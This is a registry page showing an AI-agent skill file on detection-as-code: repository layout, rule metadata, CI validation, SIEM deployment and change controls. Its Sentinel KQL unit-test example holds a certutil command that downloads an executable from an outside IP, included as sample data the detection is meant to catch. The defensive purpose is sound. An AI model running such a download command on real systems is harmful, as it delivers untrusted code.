agentleFS
Sign inStart free
kaandgnshkaandgnsh/Claude-Blue/skills/detection-engineering/detection-as-code/SKILL.md

detection-as-code

Skill0 starsChanged 12 days agoMITView on GitHub

Manage detections as code — Git repository layout, rule schema and metadata, CI validation (sigma check, unit tests with sample events), peer review, automated deployment to SIEM via API/Terraform, versioning and rollback. Use when setting up a detection engineering pipeline, reviewing a detection repo, or moving from console-edited rules to version control.

1 other project uses a version of this.

Adopted by

Most recently taken up by

The file

Create a free account to mount
Files
SKILL.md

Detection as Code

Repository layout

detections/
  rules/<platform-or-sigma>/<tactic>/<rule>.yml
  tests/<rule-id>/{positive.json,negative.json}
  pipelines/corp_mapping.yml
  lookups/allowlists/*.csv          # exclusions with owner + expiry columns
  docs/ads/<rule-id>.md             # ADS documentation
  .github/workflows/ci.yml

Required rule metadata

id, title, status, owner, ATT&CK tags, severity, data sources, false positives, runbook link, created/modified, test case IDs. Enforce with a schema check in CI.

CI pipeline stages

  1. Lint/schema: sigma check rules/, yamllint, custom metadata checks (owner present, runbook exists, unique IDs).
  2. Convert: sigma convert per target; fail on unmapped fields.
  3. Unit test: evaluate the rule against positive.json (must match) and negative.json (must not) — e.g. with a local evaluator, Splunk | makeresults-based tests, Sentinel datatable() tests, or Elastic's detection-rules test harness.
  4. Peer review via pull request (two-person rule for production detections).
  5. Deploy on merge via API/IaC: Splunk REST (saved/searches), Sentinel (Microsoft.SecurityInsights/alertRules via ARM/Bicep/Terraform azurerm_sentinel_alert_rule_scheduled), Elastic detection-rules CLI (kibana import-rules), Chronicle/SecOps APIs.
  6. Post-deploy smoke test: confirm rule enabled and scheduled; synthetic test event if available.

KQL unit test pattern (Sentinel)

let DeviceProcessEvents = datatable(FileName:string, ProcessCommandLine:string)
[ "certutil.exe", "certutil -urlcache -split -f http://198.51.100.1/a.exe a.exe",
  "certutil.exe", "certutil -verify cert.cer" ];
DeviceProcessEvents
| where FileName =~ "certutil.exe" and ProcessCommandLine has "urlcache" and ProcessCommandLine has "http"
| count   // expect 1

Controls

  • Production rule changes only through the pipeline (lock console editing via RBAC or detect drift by comparing deployed rules to repo nightly).
  • Tag releases; rollback = redeploy previous tag.
  • Exclusion lookups also go through PR with expiry.

Related skills

sigma-conversion, detection-testing, detection-lifecycle, alert-tuning

References

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

Check your setup, free